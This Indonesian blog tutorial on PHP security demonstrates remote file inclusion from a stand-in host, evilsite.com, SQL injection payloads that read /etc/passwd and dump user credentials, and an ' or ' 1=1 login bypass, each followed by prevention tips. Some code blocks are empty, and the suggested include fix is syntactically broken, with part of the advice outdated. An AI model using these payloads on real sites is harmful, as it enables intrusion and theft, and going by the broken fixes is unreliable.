March 10, 2012

Security Programming

Tulisan ini di peruntukan untuk segala umur yang ingin lebih tau tentang
security di Php Programming. Sebenarnya sudah banyak yang menulis apa,
bagaimana,dimana,cara mendapatkan security di Php Programming. Tetapi disini 
yang nulis ingin lebih menjelaskan agar lebih detail dengan penjelasannya 
berdasarkan contoh yang dapat di buat sendiri sama yang membaca ezine omega.or.id.

A little about php. 
Php programing adalah salah satu bahasa pemrograman  yang di pakai untuk 
pemrograman web dinamis. PhpBB,mediawiki adalah salah satu system yang di
buat menggunakan php programing. PHP pertama kali dibuat oleh Rasmus Lerdorf 
pada tahun 1995. Sapai tulisan ini di buat php sudah menrilis php 5.2.12. 
Jika yang membaca ingin tau lebih banyak tentang php silahkan mengclick browser
pembaca ke alamat http://www.php.net/ atau http://id.wikipedia.org/wiki/PHP

Disini yang nulis ingin memberi tau apa langkah yang di ambil ketika sedang 
berkecimpung di dalam Php programing. Agar code yang di tulis tidak menimbulkan
error yang dapat di exploit oleh hacker (white,black,or gray).

Siapkan peralatan.
1.Komputer / Laptop
Wammp (download http://www.wampserver.com/en/download.php) Disini yang nulis 
memakai server local menggunakan wampserver, Jika yang membaca punya hosting 
untuk praktek silahkan saja.
Tekun();

Time exercise.

Yang nulis disini menggunakan wampserver, jika yang membaca mau menggunakan 
wampserver harus ada yang di configurasi sedikit agar paket yang kita inject 
untuk praktek bisa berjalan untuk dilihat hasilnya.

Configurasi:
1.safe_mode = off 
2.disabled_functions = N/A 
3.register_globals = on 
4.allow_url_include = on ( untuk Local File Inclusion / Remote File Inclusion )
5.allow_url_fopen = on ( untuk Local File Inclusion / Remote File Inclusion )
6.magic_quotes_gpc = off 
7.short_tag_open = on ( some scripts are using short tags,better on ) 
8.file_uploads = on ( untuk upload file )
9.display_errors = on (pesan error jika ada salah di deklarasi variable )

Please Wait..!!!

1.RFI (Remote File Inclusion)

Code rfi.php
-----------------------------

-----------------------------

Coba letakan di file xammp D:\wamp\www\rfi.php lalu coba akses menggunakan proses
http://127.0.0.1/rfi.php?page=http://evilsite.com/evilscript.txt 
akan muncul error “Undefined index: page in C:\wamp\www\test.php on line 2” 
ok ini hanya basic.

Selanjutnya.

==NULLBYTE ()

 Code rfi.php
-----------------------------

-----------------------------

lalu jalankan 
http://127.0.0.1/rfi.php?pagr=http://evilsite.com/evilscript.txt

Tidak akan  bekerja  karena script akan  mencoba  untuk  memasukkan 
http://evilsite.com/evilscript.txt.php. 
Cara untuk menampilkan script injectionnya tambahkan NULLBYTE () di URL. 

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

Binggo script injectionnya berhasil di eksekusi. NULLBYTE akan membuang semuanya 
setelah NULLBYTE di masukan.


==”?”
code rfi.php
-----------------------------------------------
   
-----------------------------------------------

logged=1 akan menjadi seperti variable.But lebih baik menggunakan nullbyte ()

Ketika di jalankan:
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1

Binggo script injectionnya berhasil di eksekusi.

==FULL

rfi.php
----------------------------------------------------
 if (isset($_REQUEST["main_content"])){
      $main_content = $_REQUEST["main_content"];
       } else if (isset($_SESSION["main_content"])){
          $main_content = $_SESSION["main_content"];
         }
    ob_start();
          require_once($main_content); 
----------------------------------------------------

Ketika Di jalankan
http://127.0.0.1/rfi.php?main_content=http://evilsite.com/evilscript.txt

Binggo script injectionnya berhasil di eksekusi

Ketika require_once($main_content); di hilangkan script injectionnya tidak dapat di eksekusi. 

Coba perhatikan kebanyakan dari code yang di tulis menggandung require,require_once,
include,dan include_once. Lantas harus menggunakan apa? Semua itu memang harus di 
gunakan tapi terkadang para programer nya lupa akan hal yang harus di waspadai ini dia:

require - require() 
"identik dengan include () kecuali atas kegagalan itu akan menghasilkan 
 tingkat E_ERROR fatal error."

require_once
"identik dengan require () kecuali PHP akan memeriksa apakah file sudah dimasukkan, 
dan jika demikian tidak termasuk (require) lagi."

include -  mengevaluasi file yang ditentukan.

include_once -   mengevaluasi file yang ditentukan selama eksekusi script.

Penjegahannya:
1. Memvalidasi variable dengan benar.
2. Mengkonfigurasi kembali settingan php pada server website Anda.
   allow_url_include = off
   allow_url_fopen = off
   magic_quotes_gpc = on
3. pada include mungkin bisa ditambahkan "./"
   jadinya seperti ini,
   include("./"$_GET[page].".php";


2.SQL injection

Disini yang nulis pertama kali membuat database beserta dalem dalemnya.

CREATE DATABASE `test` ;
(membuat database dengan nama test)

CREATE TABLE `test`.`members` (
`id` INT( 15 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`username` VARCHAR( 255 ) NOT NULL ,
`password` VARCHAR( 255 ) NOT NULL 
) ENGINE = MYISAM ;
(membuat table members didalam datebase test)

sql.php
-----------------------------------------------------------------   
    
-----------------------------------------------------------------

Variable id tidak di filter karena itu hacker bisa saja menyisipkan code 
SQL Injection ke dalam variable id contoh:

http://127.0.0.1/sql.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--

Binggo hacker dapat melihat database members yang di buat di awal


listing_view.php  
------------------------------------------------------------------
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, 
          comments, handle, image from Aqua where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
------------------------------------------------------------------

* untuk Yang ini databasenya bikin sendiri yah :D
   
Coba kita lihat variable id ditetapkan untuk ['itemnt'] tidak di filter dengan cara apapun.    
http://127.0.0.1/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
   
Binggo hacker dapat melihat database Aqua.

Pencegahan

Cara sederhana: Jangan biarkan karakter khusus dalam variabel numerik variables.
menggunakan (int), misalnya $ id = (int) $ _GET [ 'id'];
Cara lain: Untuk non-numerik variabel: menyaring semua karakter khusus yang 
digunakan dalam SQLI: -,. () ' "_ + / *


3.SQL Injection Login Bypass
- Code snippet from /admin/login.php
     
-----------------------------------------------------------------------
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']); 
$resultat = mysql_query("SELECT * FROM " . $tablestart . 
           "login WHERE brugernavn = '$postbruger' AND password = '$postpass'") 
or die("" . mysql_error() . "

\n");
-----------------------------------------------------------------------
     
Di dalam code tersebut tidak ada penyaringan seperti pemasukan character aneh
(SQL injection).Dengan memanfaat kan SQLinjection Login Bypass seperti contoh di bawah

     username : admin ' or ' 1=1
     password : sirgod
     
Binggo Kita dapat melihat hasilnya. Kita masuk tanpa tau username dan password yang benar.


Pencegahan

Cara sederhana: Jangan biarkan karakter khusus dalam variabel numerik variables.
menggunakan (int), misalnya $ id = (int) $ _GET [ 'id'];
Cara lain: Untuk non-numerik variabel: menyaring semua karakter khusus yang digunakan 
dalam SQLI: -,. () ' "_ + / *

Cara yang nulis : 
Selain menggunakan cara di atas. Biasa yang nulis itu menggunakan fasilitas 
chapcha jadi di buat validasi dari inputan username,passowrd,dan captcha nya. 
dan juga validasi charater dan inputan kosong etc.

end.

Celah yang lainnya dalam tahap pengetikan. Jadi Bersabar lah...!!!

Referensi
- google
- astalavista
- adrenalin yang banyak dan kerja keras.
 

No comments:

Post a Comment